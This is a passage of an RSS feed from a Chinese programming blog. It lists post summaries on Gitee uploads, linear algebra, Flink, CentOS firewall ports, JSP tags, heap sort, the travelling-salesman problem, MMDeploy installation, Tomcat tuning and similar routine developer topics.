      <description>WebStorm项目上传gitee的方法步骤-idea同样适用 主要流程：1下载git并配置-&amp;gt;2、再webStorm中下载gitee插件–&amp;gt;3、在WebStorm 添加gitee账户信息—&amp;gt;上传项目并查看 一、git的下载与环境变量的配置 1.1下载git。git的下载地址[Git - Downloading Package (git-scm.com)](https://git-scm.com/download/win)选择自己的系统对应的版本进行下载，此次演示是基于win10系统进行安装配置 1.2win10下载64-bit git for windows Prortable 绿色解压版 注意图片中的下载路径，此路径后面还有用&#xA;1.3 解压git之后进行配置环境变量 请参考下图：我的电脑右键属性，选择高级系统设置，点击环境变量，选择系统变量path目录，编辑点击新建此时填写刚才解压的中的cmd目录路径，最后点击确定。系统环境变量配置完成。&#xA;### 1.4 git账户本地设置，在git目录中找到git-bash并运行。输入一下两行代码&#xA;$git config --global user.name&#34;username&#34; // &#34;username&#34;是注册gitee时候的账户名&#xA;$git config --global user.email“username@email.com&#34; //&#34;username@email.com &#34;是注册gitee用的邮箱&#xA;说明一下这里的 “username” 和 “username@email.com&#34; 最好与自己的给gitee账号对应。在项目上传gitee时候可以显示出上传的用户信息便于项目管理。这里用户名和邮箱后期也可以更改。想了解的读者可以留言&#xA;执行命令后输入：&#xA;$ git config --global --list 检查是否配置成功&#xA;返回自己的账户信息代表配置成功&#xA;二 WebStorm 中下载gitee插件 验证插件是否下载成功，在sittings中可以看到gitee插件，这时候既可以配置在webstorm中添加自己的账户信息了，如下图所示&#xA;在webstorm 中上传自己的项目 提交成功显示提示信息。&#xA;在gitee上查看项目是否上传 在gitee中我的中，可以看到自动建立了giteeproj仓库，点击查看可以到上传的项目目录库&#xA;此时代表上传成功&#xA;项目的更新上传步揍 每次对项目的更新需要上传到gitee中，不必按照以上繁琐的步揍，接下来介绍简单的方法，对项目进行了更新，比如在index中添加了p标签，或者什么功能，就可以按照一下步骤进行gitee提交。&#xA;在gitee中查看，刚才更新的信息，可以看到添加的代码描述&#xA;WebStorm项目上传gitee的方法步揍到此结束！！！</description>
    </item>
    <item>
      <title>线性代数感悟之4 通过增广矩阵查看解的情况上篇</title>
      <link>https://bchobby.github.io/posts/0dda7b57c976c60be80d7a2a8c8e60cb/</link>
      <pubDate>Thu, 19 May 2022 21:10:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dda7b57c976c60be80d7a2a8c8e60cb/</guid>
      <description>最近在看 liuyubobobo 的 线性代数 课，感觉很妙，有些感悟记录一下~~~&#xA;通过增广矩阵查看解的情况：&#xA;------------------------------------------------------------------------------------------------------------------------------&#xA;主元(首元)定义：非零行的第一个元素。&#xA;什么是阶梯形矩阵？&#xA;感性定义：可以画个阶梯，阶梯下面都是0&#xA;理性定义：&#xA;有全零行的话，一定是在矩阵的最下方&#xA;主元的位置，随着行号的递增，向右偏。&#xA;阶梯下方的元素都是0&#xA;如果在阶梯型矩阵的条件下，继续满足一个条件：&#xA;4. 主元为1，且主元所在列其他元素为0。&#xA;那么 这样的矩阵称之为，rref(行最简形式)，&#xA;以下两个矩阵，都满足RREF的定义：&#xA;分析：&#xA;1 首先它是一个阶梯形矩阵&#xA;2 主元为1，且主元所在列其他元素为0。&#xA;以下矩阵不是行最简形式：&#xA;分析：&#xA;第一个是阶梯型矩阵，但是不满足：主元为1，且主元所在列其他元素为0。&#xA;第二个和第三个，不是阶梯型矩阵。&#xA;----------------------------------------------&#xA;接下来将增广矩阵变化成行最简形式，再来判断解的的结构。&#xA;首先给出定义：&#xA;系数矩阵：这个矩阵只包括原方程组的系数，没有等式右侧的那个常数。（及虚线左边的矩阵）&#xA;下图中的A就表示 “系数矩阵”，而未知数的个数就是看，系数矩阵有几列。&#xA;这里还有个，行最简形式的非零行，就是整个矩阵的非零行。’&#xA;​由于对比的是系数矩阵和整个矩阵，而系数矩阵是被包含在整个矩阵之内的。&#xA;所以非零行的个数，只可能是系数矩阵的个数小于等于整个矩阵的个数（不可能大于）。 那么先看非零行是否一致，不一致的话（不相等），那绝对小于。此时无解。 如果一致，再看是有唯一解还是无数解。&#xA;小结： 1 最重要的就是系数矩阵的非零行个数 2 先对比非零行是否一致，不一致，无解（一致就在往下看） 3 再看未知数个数，判断有几个解 3.1 如果 未知数个数=A非零行，那此时，A就是一个单位矩阵了！所以一定是唯一解&#xA;3.2 如果 A非零行&amp;lt;未知数个数 此时无数解&#xA;3.3 不存在 A非零行&amp;gt;未知数个数 的情况：画一下，就知道了，如果非零行大于列数（及未知数个数），那就不满足阶梯矩阵了！</description>
    </item>
    <item>
      <title>（四）flink初体验-2</title>
      <link>https://bchobby.github.io/posts/30a73ad1b04617960f4a4be4f0df5cb6/</link>
      <pubDate>Thu, 19 May 2022 17:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30a73ad1b04617960f4a4be4f0df5cb6/</guid>
      <description>实时报表与table api Apache Flink提供了一个表API作为一个统一的关系型API用于批处理和流处理，也就是说，查询在无边界的实时流或有边界的批处理数据集上以相同的语义执行，并产生相同的结果。Flink中的表API通常用于简化数据分析、数据管道和ETL应用程序的定义。&#xA;你要建什么? 在本教程中，您将学习如何构建一个实时仪表板，以按帐户跟踪金融交易。该管道将从Kafka读取数据，并通过Grafana将结果写入MySQL可视化。&#xA;前提 本演练假设您熟悉Java或Scala，但即使您来自不同的编程语言，也应该能够理解。本文还假设您熟悉基本的关系概念，如SELECT和GROUP BY子句。&#xA;开发环境 Java 11MavenDocker 所需的配置文件可以在flink-playgrounds存储库中找到。下载后，在IDE中打开项目flink-playground/table-walkthrough，并导航到文件SpendReport。&#xA;EnvironmentSettings settings = EnvironmentSettings.inStreamingMode(); TableEnvironment tEnv = TableEnvironment.create(settings); tEnv.executeSql(&#34;CREATE TABLE transactions (\n&#34; + &#34; account_id BIGINT,\n&#34; + &#34; amount BIGINT,\n&#34; + &#34; transaction_time TIMESTAMP(3),\n&#34; + &#34; WATERMARK FOR transaction_time AS transaction_time - INTERVAL &#39;5&#39; SECOND\n&#34; + &#34;) WITH (\n&#34; + &#34; &#39;connector&#39; = &#39;kafka&#39;,\n&#34; + &#34; &#39;topic&#39; = &#39;transactions&#39;,\n&#34; + &#34; &#39;properties.bootstrap.servers&#39; = &#39;kafka:9092&#39;,\n&#34; + &#34; &#39;format&#39; = &#39;csv&#39;\n&#34;</description>
    </item>
    <item>
      <title>不清晰的照片怎么变清晰？分享三个一键变清晰的方法</title>
      <link>https://bchobby.github.io/posts/980c36677e6ea0436ad7eb6a3e81b117/</link>
      <pubDate>Thu, 19 May 2022 16:51:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/980c36677e6ea0436ad7eb6a3e81b117/</guid>
      <description>相信大家都遇到过老旧照片放大后发现变得模糊不清的情况，但毕竟这是我们自己拍的照片，也无法在网上寻找下载原图，那有什么办法能修复这种模糊不清晰的照片呢？ 相信很多朋友会说用PS，但是PS需要一定的基本功，而且操作起来也很麻烦。 其实，除了PS，修复这种模糊不清晰的照片还有很多方法。 今天给大家分享几个方法，让你知道如何让不清晰的照片清晰起来！&#xA;1、在线处理：PhotoKi 如果怕麻烦，可以直接使用这款图片在线修复，注册后直接使用即可，而且它的修复效果也是不错的，通过填充模糊照片的细节来制作，让照片更清晰，增强照片的画质。质量高，操作非常简单。接下来，我将演示下如何修复不清晰图片的清晰度。&#xA;以下是具体的操作步骤：&#xA;第一步：在浏览器搜索“PhotoKi”网站，找到官网后进入首页，然后点击“开始编辑”按钮上传图片。&#xA;第二步：成功上传图片后，软件就会自动对图片进行修复，修复完成后，我们点击“保存”按钮就可以将照片保存到本地。&#xA;2、手机处理：Styler 这是一款集图片特效和修复功能于一体的手机修复软件。 可以给图片添加各种特效，让照片中的人像看起来更年轻，一键变漫画等，还可以修复照片的清晰度。一键降噪，在照片模糊部分填充细节，提升画质，还原照片清晰度！&#xA;以下是软件的具体操作步骤：&#xA;第一步：打开软件,在首页找到“+”图标，单击一下并上传要进行修复的照片，然后自定义裁剪一下图片大小，再点击“√”保存设置&#xA;第二步：成功上传图片后，在软件下方找到“老照片修复”功能，然后点击“下一步”按钮软件就可以自动修复照片，我们还可以滑动中间的滑动杆查看修复前后的对比，最后点击“保存到相册”按钮即可把修复后的照片保存到相册。&#xA;3、电脑处理：牛学长图片修复工具 这款工具可以帮助我们快速完成照片修复，有着批量操作的功能，无需自己一张一张的上传修复，可以批量上传，一键开始批量修复。牛学长图片修复工具基于领先的智能AI修复技术，一键提高模糊照片清晰度，老照片重铸高清、图片无损放大和黑白照片上色等图片修复！对不同场景的图片修复需求，牛学长AI智能都能匹配最佳修复方案，一键修复照片清晰度，在不损失质量的情况下提供最佳效果！&#xA;操作步骤也很简单，只需要以下几步：&#xA;第一步：打开软件，点击“添加文件”按钮将需要照片添加到软件中，也可以直接将照片拖入到软件中进行添加，可批量添加多张照片进行批量操作。&#xA;第二步：如下图所示在右边进行设置，选择AI模型，每个AI模型都有说明比较适合那种类型的图片，可根据图片类型选择适合的AI模型，然后点击“预览效果”等待结果就可以。&#xA;修复完成后我们可以在线预览，照片清晰度高度还原。最后点击“导出”按钮即可导出效果图片。&#xA;以上就是给大家分享高清修复模糊照片的方法啦！是不是很简单，只需一键即可修复模糊照片，不损失质量的情况下提供最佳效果。感兴趣的小伙伴们不妨去试试！</description>
    </item>
    <item>
      <title>通讯录管理系统—优化版 (C语言 期末大作业 课程设计)</title>
      <link>https://bchobby.github.io/posts/dfae3905b7ddc7547e1c38b7b322d73d/</link>
      <pubDate>Thu, 19 May 2022 16:03:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfae3905b7ddc7547e1c38b7b322d73d/</guid>
      <description>文章目录 通讯录管理系统 --- 优化版一、设计要求二、总体设计1.系统具体功能2.数据结构设计3.函数功能4.磁盘文件 三、详细设计主界面管理员模块用户模块 四、程序测试1.查看文件2.主界面测试3.管理员界面测试4.用户界面测试5.退出测试 五、系统使用说明使用说明： 通讯录管理系统 — 优化版 一、设计要求 设计一个完整的通讯录管理系统。信息至少包含编号、姓名、年龄、电话、籍贯、单位等。&#xA;功能要求如下：&#xA;1.管理员功能&#xA;（1）建立通讯录信息；（通讯录信息利用文件存储）&#xA;（2）能够提供添加、删除和修改通讯录信息的功能；&#xA;（3）能够按表格方式输出通讯录信息；&#xA;（4）按籍贯或单位统计通讯录人员信息。&#xA;2.普通用户功能&#xA;（1）按姓名或单位查询；&#xA;（2）实现电话的模糊查询（即输入电话的前几位即可查询）；&#xA;（3）根据您输入单位自动生成某单位的内部通讯录（按照年龄从大到小保存在一个新的文件中）；&#xA;（4）输出某单位的内部通讯录信息。&#xA;二、总体设计 1.系统具体功能 本通讯录管理系统具有两个用户状态下的模式，可以通过用户账号进行登录，也可通过管理员账号进行登录；具体如下图所示。&#xA;2.数据结构设计 定义一个结构体类型list，包括姓名、年龄、编号、电话、籍贯、单位，共6个结构体成员;使用define定义结构体的长度LEN。&#xA;#define LEN sizeof(struct list) //宏定义结构体长度 struct list { char name[30]; //名字 char age[30]; //年龄 int number; //编号 自动生成 char handset[30]; //电话 char address[30]; //籍贯 char unit[30];//单位 }; 3.函数功能 函数名功能说明void admin管理员界面void user用户界面void exit退出void admin_est建立通讯录void est_add添加通讯录void est_delet删除通讯录void est_renew修改通讯录void admin_print_all输出通讯录全部信息void admin_tongji统计通讯录信息void user_jqcx精确查找void user_mhcx模糊查找void user_save保存通讯录到文件sort_computer按计算机成绩排序void user_paixu按姓名字母排序void user_print输出单位通讯录 4.</description>
    </item>
    <item>
      <title>CentOS 开启端口（最有效的方法）</title>
      <link>https://bchobby.github.io/posts/f935e3f556335bb0347961e8585f75a6/</link>
      <pubDate>Thu, 19 May 2022 15:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f935e3f556335bb0347961e8585f75a6/</guid>
      <description>1.连接CentOS服务器 查看已经开放的端口：&#xA;`firewall-cmd --list-ports` 1 2.查看防火墙的状态： 输入命令&#xA;`firewall-cmd --state` 1 3.开启防火墙： 如果上一步处于关闭状态，输入命令开启防火墙：&#xA;`systemctl start firewalld.service` 1 4.开启端口 输入命令，开启8000端口：&#xA;`firewall-cmd --zone=public --add-port=8000/tcp --permanent &amp;amp;&amp;amp; firewall-cmd --reload` 1 关闭8000端口：&#xA;`firewall-cmd --zone=public --remove-port=8000/tcp --permanent` 1 让我们来解释一下上一个命令：&#xA;--zone=public:表示作用域为公共的；--add-port=8080/tcp：添加tcp协议的端口8080；--permanent：永久生效；(如果没有此参数，则只能维持当前服务生命周期内，重新启动后失效；) 5.输入命令重新输入配置： `firewall-cmd --reload` 1 1.连接CentOS服务器 查看已经开放的端口：&#xA;`firewall-cmd --list-ports` 1 2.查看防火墙的状态： 输入命令&#xA;`firewall-cmd --state` 1 3.开启防火墙： 如果上一步处于关闭状态，输入命令开启防火墙：&#xA;`systemctl start firewalld.service` 1 4.开启端口 输入命令，开启8000端口：&#xA;`firewall-cmd --zone=public --add-port=8000/tcp --permanent &amp;amp;&amp;amp; firewall-cmd --reload` 1 关闭8000端口：&#xA;`firewall-cmd --zone=public --remove-port=8000/tcp --permanent` 1 让我们来解释一下上一个命令：</description>
    </item>
    <item>
      <title>JSP的常用标签</title>
      <link>https://bchobby.github.io/posts/2b0336a88d4bd9986a18c174d85bacd8/</link>
      <pubDate>Wed, 18 May 2022 23:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b0336a88d4bd9986a18c174d85bacd8/</guid>
      <description>文章目录 JSP的常用标签JSP静态包含JSP动态包含JSP转发 JSP的常用标签 JSP静态包含 &amp;lt;%@ include file=“”%&amp;gt; 就是静态包含&#xA;file 属性指定你要包含的 jsp 页面的路径&#xA;地址中第一个斜杠 / 表示为 http://ip:port/工程路径/ 映射到代码的 web 目录 静态包含的特点：&#xA;1、静态包含不会翻译被包含的 JSP 页面。&#xA;2、静态包含其实是把被包含的 JSP 页面的代码拷贝到包含的位置执行输出。&#xA;演示&#xA;运行结果&#xA;JSP动态包含 &amp;lt;jsp:include page=“”&amp;gt;&amp;lt;/jsp:include&amp;gt; 这是动态包含&#xA;page 属性是指定你要包含的 jsp 页面的路径&#xA;动态包含也可以像静态包含一样，把被包含的内容执行输出到包含位置。&#xA;动态包含的特点：&#xA;1、动态包含会把包含的 JSP 页面也翻译成为java代码&#xA;3、动态包含，还可以传递参数通过&amp;lt;jsp:param name=“” value=“”/&amp;gt;标签&#xA;a.jsp&#xA;b.jsp&#xA;输出页面&#xA;JSP转发 &amp;lt;jsp:forward page=“”&amp;gt;&amp;lt;/jsp:forward&amp;gt;是请求转发标签，它的功能就是请求转发。&#xA;page属性设置请求转发的路径&#xA;可以传递参数，通过&amp;lt;jsp:param name=&#34;name&#34;value=“value”/&amp;gt;标签&#xA;a.jsp&#xA;b.jsp&#xA;输出页面（转发后a.jsp的内容不会显示）</description>
    </item>
    <item>
      <title>GraphViz‘s executables not found的解决方法</title>
      <link>https://bchobby.github.io/posts/40b020628b8428ee57f5411827817f97/</link>
      <pubDate>Wed, 18 May 2022 22:37:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40b020628b8428ee57f5411827817f97/</guid>
      <description>一、报错 import pydotplus 运行报错: GraphViz’s executables not found&#xA;二、解决方法 1.更新brew（mac终端）&#xA;arch -x86_64 brew upgrade 2.安装graphviz&#xA;brew install graphviz jupyter里运行代码，成功！</description>
    </item>
    <item>
      <title>阿里测试大师手把手教你基于JMeter开发一个自动化测试平台</title>
      <link>https://bchobby.github.io/posts/642239e8cec864430e9ec201f7efb506/</link>
      <pubDate>Wed, 18 May 2022 20:05:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/642239e8cec864430e9ec201f7efb506/</guid>
      <description>目录&#xA;前言&#xA;一、基础能力&#xA;二、开源精神&#xA;三、开发环境搭建&#xA;四、配置开发环境（后端部分）&#xA;五、配置开发环境（前端部分）&#xA;前言 现今的测试行业不停的发展，今天测试人员会代码，已经从一个高阶能力变成了一项基本技能。市场要求测试工程师，或多或少都会一些代码。但是光说不练可不行，如果只是单纯的理论知识很难打动人，但如果你实际开发过一个测试平台，那就不一样了。GitHub 打开看一看，胜过了千言万语。 所以，想要工资要的好，测试平台搞一搞&#xA;但开发一个好的测试平台绝非易事，一个好的工具平台，涉及到前后端开发、架构设计、数据库设计、框架选型等综合技能。&#xA;一、基础能力 首先我们来看一下，想要基于 JMeter 开发一个测试平台，你需要积累的技术栈。当然这里大家不需要争论开发语言和框架，这是一种可行的方案，不是唯一性方案。&#xA;我们将能力拆分成 6 个方面来看，分别是测试相关、JMeter 相关前端开发、后端开发、中间件和运行时环境。&#xA;测试相关：&#xA;这本身就是我们出发的本源，想要做好测试平台，那肯定需要对测试有深入的理解。那么这里我们又可以再细分一下，需要具备能力的三个方向，功能测试，性能测试和接口测试。&#xA;这三种是目前最主要的测试场景，在动手开发测试平台之前，我们自然是要对这几方面的测试知识有深入理解。&#xA;c 相关&#xA;JMeter 是目前使用最广泛的测试引擎，而且还是一个开源的项目，这也是我们为什么将 JMeter 选做了测试平台开发的核心。&#xA;既然 JMeter 作为 C 位出现，那自然是要对其本身进行学习和研究，这里建议对这三方面来学习，首先是常用组件的功能和使用，也就是先要熟悉 JMeter 。其次是学习核心类库，这样可以深入理解 JMeter 的内在逻辑。最后要再学习一下 JMeter 的插件体系，便于对其进行功能扩展。&#xA;前端开发：&#xA;前端和后端主要是针对于开发的角度，很简单，想要做出一个测试平台，那么一定是需要有一个可以让用户去使用的界面的，那么这里就需要使用到前端的技术 。Vue.js 是现在最炙手可热的前端技术框架了，而且还是咱们中国人主导的开源技术，无数大公司都选择 Vue.js ，找工作时会用 Vue.js 帮助极大，那有什么理由不选择它呢？ElementUI 也类似，是由饿了吗开源的前端组件库。&#xA;NPM 是 NodeJS 包管理工具，因为前端项目都会使用到，所以这里应该要对其有一些基本的理解，不需要深入去学习 NodeJS，可以用 NPM 就差不多了。&#xA;后端开发：&#xA;后端的选择上我相信大家会有自己的意见，所以这里我给出的建议是我自己熟悉的 SpringBoot+Maven，这个组合虽然说不是那么是新潮时髦，但是绝对的值得信赖。而且还要说的是虽然这几年 Java 的热度似乎没有 Python 之类的那么高，但是在真正招聘市场中，Java 依然是第一大的开发语言。而作为 Java 的开发者不搞一搞 SpringBoot，不会用用 Maven，那还能算 Java 程序员吗？</description>
    </item>
    <item>
      <title>八大排序（二）-----堆排序</title>
      <link>https://bchobby.github.io/posts/14aa3d4ff8c7035f7ad6ca8da00d5c04/</link>
      <pubDate>Wed, 18 May 2022 19:35:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14aa3d4ff8c7035f7ad6ca8da00d5c04/</guid>
      <description>基本思想 1):将带排序的序列构造成一个大顶堆，根据大顶堆的性质，当前堆的根节点（堆顶）就是序列中最大的元素&#xA;2):将堆顶元素和最后一个元素交换，然后将剩下的节点重新构造成一个大顶堆；&#xA;3):重复步骤2，如此反复，从第一次构建大顶堆开始，每一次构建，我们都能获得一个序列的最大值，然后把它放到大顶堆的尾部。最后，就得到一个有序的序列了&#xA;构造堆&#xA;在构造有序堆时，我们开始只需要扫描一半的元素（n/2-1 ~ 0）即可，为什么&#xA;因为(n/2-1)~0的节点才有子节点，如图1，n=8,(n/2-1) = 3 即3 2 1 0这个四个节点才有子节点&#xA;（图1：初始状态）&#xA;所以代码4~6行for循环的作用就是将3 2 1 0这四个节点从下到上，从右到左的与它自己的子节点比较并调整最终形成大顶堆，过程如下：&#xA;第一次for循环将节点3和它的子节点7 8的元素进行比较，最大者作为父节点（即元素60作为父节点）&#xA;【红色表示交换后的状态】&#xA;第二次for循环将节点2和它的子节点5 6的元素进行比较，最大者为父节点（元素80作为父节点）&#xA;第三次for循环将节点1和它的子节点3 4的元素进行比较，最大者为父节点（元素70作为父节点）&#xA;第四次for循环将节点0和它的子节点1 2的元素进行比较，最大者为父节点（元素80作为父节点）&#xA;（注意这里，元素20和元素80交换后,20所在的节点还有子节点，所以还要再和它的子节点5 6的元素进行比较，这就是28行代码i = j的原因）&#xA;至此有序堆已经构造好了！如下图：&#xA;调整堆&#xA;下面进行while循环&#xA;（1）堆顶元素80和尾40交换后–&amp;gt;调整堆&#xA;（2）堆顶元素70和尾30交换后–&amp;gt;调整堆&#xA;（3）堆顶元素60尾元素20交换后–&amp;gt;调整堆&#xA;（4）其他依次类推，最终已排好序的元素如下：&#xA;代码实现&#xA;public class 堆排序 { public static void main(String[] args) { int[] arr = {1,9,7,5,3,8}; for(int p = arr.length-1;p&amp;gt;=0;p--) { adjestHeap(arr, p,arr.length); } // 堆顶元素和堆底元素互换，维护大顶堆 for(int i = arr.length-1;i&amp;gt;0;i--) { int temp = arr[i]; arr[i] = arr[0]; arr[0] = temp; // 维护大顶堆 adjestHeap(arr, 0,i);&#x9;} System.</description>
    </item>
    <item>
      <title>【C语言】输出一个菱形</title>
      <link>https://bchobby.github.io/posts/e0a3ee4ea6fa58ebd170ba5fc1419f6b/</link>
      <pubDate>Wed, 18 May 2022 16:28:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0a3ee4ea6fa58ebd170ba5fc1419f6b/</guid>
      <description>//打印菱形 #include&amp;lt;stdio.h&amp;gt; int main() { int i = 0;//i控制第几行 int j = 0;//j控制每一行空格的循环次数 int k = 0;//k控制每一行*的循环次数 for (i = 1; i &amp;lt;= 4; i++)//将图形分为两部分，前四行(第一部分) { for (j = 1; j &amp;lt;= 4 - i; j++)//打印第i行的空格数 { printf(&#34; &#34;); } for (k = 1; k &amp;lt;= 2 * i - 1; k++)//紧接着打印第i行的*数，注意要带乘号* { printf(&#34;*&#34;); } printf(&#34;\n&#34;);//第i行完成，要换行\n,进入下一行的循环 } for (i = 1; i &amp;lt;= 3; i++)//后三行(第二部分)，和前四行同样的道理 { for (j = 1; j &amp;lt;= i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>旅行商问题（回溯算法）</title>
      <link>https://bchobby.github.io/posts/6694aef71d6981e54937fdefb4b1aaa6/</link>
      <pubDate>Wed, 18 May 2022 15:21:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6694aef71d6981e54937fdefb4b1aaa6/</guid>
      <description> 回溯问题适合于解由向量的形式来构成的，这个向量空间中使用搜索的方法进行搜索，搜索使用宽度优先的方法。货郎问题又名旅行商问题，但其实更多教科书中更通用的叫法叫旅行商问题，下面来对旅行商问题使用回溯算法证明。&#xA;文章目录 一、问题描述二、数学建模三、实例1、传统经典做法2、回溯算法 四、总结 一、问题描述 有n个城市，已知任两个城市之间的距离，求一条每个城市恰好经过一次的回路，使得总长度最小 。&#xA;分析：&#xA;有n个城市，城市与城市之前有距离的，任意两个城市之间的距离是已知的，现在需要找一条回路，经过每一个城市1次，使得总长度最小，就相当于这个货郎在路途，或者旅行商的行路，遍历所有的城市去各个城市走一趟，但是城市不能重复，所以怎么走下来才能够使得总长度达到最小。&#xA;其实相当于把这些城市做一个排列，第一个城市指向k1所指向的城市，由城市k1走向城市k2，一直往下走，走到kn以后再回到k1形成一个闭环&#xA;二、数学建模 数学表达式中的C k1到C k2，这两个城市的距离用d来表示，走到最后一个城市再倒回来(从C kn到C k1)，这个距离达到最小，就是我们要做的事情。&#xA;这个问题是有选择的，一定程度上讲，TSP也是优化问题，只要是涉及到有选择，选择的不同导致结果的不同，结果的不同要想法设法找出最好的选择，不管是调度问题、背包的装法问题还是这个城市排列的问题，现代的智能优化算法不再使用精确的解，而是找到一个近似最精确的解就可以了。&#xA;三、实例 1、传统经典做法 从第1个城市走到第2个城市，从第2个城市走到第4个城市，从第4个城市到第3个城市然后再回来。&#xA;C={1,2,3,4}&#xA;d(1,2)=5, d(1,3)=9,&#xA;d(1,4)=4, d(2,3)=13,&#xA;d(2,4)=2, d(3,4)=7&#xA;解：&amp;lt; 1,2,4,3 &amp;gt; ,&#xA;长度= 5 + 2 + 7 + 9 = 23&#xA;这是其中一个解，最后的解得到的是城市的排列向量，上面原始的数据每两个城市之间的距离都是给出的。&#xA;2、回溯算法 假定每个城市都有连接，回溯算法的实现也是一种搜索，首先对于第一个城市出发，第1个城市和2，3，4城市相连，这个时候做选择，选择任何一条路径往下走，走到第2个城市，又有两种选择：到第4个城市，或者到第3个城市。每走到一个城市就选相当于前面已经走过的城市就不用再选择了，就从剩下的城市中去选。&#xA;一开始选定任何一个出发点出发，接下来又n-1个城市可以去选择，当你走到任何一个点之后，接下来又有n-2个城市可以去选择，……一直到最后只有1种选择，就是唯一的选择：回去。所以总的路径有(n-1)!种，每到叶结点的路径就是城市间的路径。&#xA;表示为树，称之为排列树，有(n-1)!片树叶&#xA;其实我们要找的就是在所有的排列树叶结点中去找最小的那个，所以搜索空间是相当大的。&#xA;四、总结 解：向量搜索空间：树，可能是n叉树、子集树、排列树等等，树的结点对应于部分向量，可行解在叶结点搜索方法：深度优先, 宽度优先, …&#xA;跳越式遍历搜索树，找到解 </description>
    </item>
    <item>
      <title>idea ssh 连接 (2020.3版)</title>
      <link>https://bchobby.github.io/posts/de683291b12a894a0ef19547ae4f9393/</link>
      <pubDate>Wed, 18 May 2022 15:16:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de683291b12a894a0ef19547ae4f9393/</guid>
      <description> 1.步骤如下:&#xA;2.设置服务器信息&#xA;3.点击idea工具栏中&#xA;4.选择刚才新建的实例sit，即可连接。&#xA;5.注意:若控制台出现乱码，则需要修改字符集 </description>
    </item>
    <item>
      <title>笔记--Nvidia Jetson利用Anaconda安装MMDeploy及API测试</title>
      <link>https://bchobby.github.io/posts/b2307e881c69f504e56547bee21d6dbc/</link>
      <pubDate>Wed, 18 May 2022 11:08:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2307e881c69f504e56547bee21d6dbc/</guid>
      <description>目录&#xA;前言&#xA;1--安装Anaconda&#xA;2--创建conda环境及安装pytorch&#xA;3--配置环境依赖&#xA;4--安装mmdeploy&#xA;5--实例测试&#xA;6--参考&#xA;前言 建议结合官方文档阅读。&#xA;1--安装Anaconda ①下载Anaconda&#xA;cd ~/mmdeploy_test # 进入一个新的文件夹 # 下载anaconda包 wget &#34;https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge-pypy3-Linux-aarch64.sh&#34; bash Miniforge-pypy3-Linux-aarch64.sh # 执行安装 source ~/.bashrc # 更新Path ②设置国内源&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/peterjc123/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/peterjc123/ conda config --set show_channel_urls yes ③测试</description>
    </item>
    <item>
      <title>SpringBoot 内置 Tomcat 线程数优化配置，你学会了吗？</title>
      <link>https://bchobby.github.io/posts/3e7ba39dcdbaf51226024eddea8f05f0/</link>
      <pubDate>Wed, 18 May 2022 09:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e7ba39dcdbaf51226024eddea8f05f0/</guid>
      <description>点击关注公众号，实用技术文章及时了解&#xA;前言 本文解析springboot内置tomcat调优并发线程数的一些参数，并结合源码进行分析&#xA;参数 线程池核心线程数 server.tomcat.min-spare-threads：该参数为tomcat处理业务的核心线程数大小，默认值为10&#xA;线程池最大线程数 server.tomcat.max-threads：该参数为tomcat处理业务的最大线程数大小，默认值为200，当对并发量有一点值时可以调大该参数&#xA;请求最大连接数 server.tomcat.max-connections：该参数为请求的最大连接数，默认值为10000，注意这个参数并不是设置在线程池上的，而是在tomcat的Acceptor类（专门处理连接的线程类）来控制的，结合源码我们可以看到&#xA;protected void countUpOrAwaitConnection() throws InterruptedException { if (maxConnections==-1) return; LimitLatch latch = connectionLimitLatch; if (latch!=null) latch.countUpOrAwait(); } 可以看到当最大连接数满了之后会进行等待&#xA;accept-count server.tomcat.accept-count：这个参数实际上和tomcat没有太大关系，默认值为100&#xA;我们先看下文档的定义&#xA;/** * Allows the server developer to specify the acceptCount (backlog) that * should be used for server sockets. By default, this value * is 100. */ private int acceptCount = 100; 这个参数是服务端创建ServerSocket时操作系统控制同时连接的最大数量的，服务端接收连接是通过accept()来的，accept()是非常快的，所以accept-count的不需要太大，正常保持默认值100即可了，acceptCount这个参数和线程池无关，会被映射为backlog参数，是socket的参数，在源码的使用是在NioEndpoint类的initServerSocket方法，在tomcat中的名字是backlog在springboot内置tomcat中名字没有使用backlog而是使用acceptCount&#xA;serverSock.socket().bind(addr,getAcceptCount())&#xA;protected void initServerSocket() throws Exception { if (!</description>
    </item>
    <item>
      <title>【MATLAB】MATLAB三维曲面绘制【详细教程】</title>
      <link>https://bchobby.github.io/posts/7fbcb1392a59d99be2230ea686c29143/</link>
      <pubDate>Wed, 18 May 2022 00:40:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fbcb1392a59d99be2230ea686c29143/</guid>
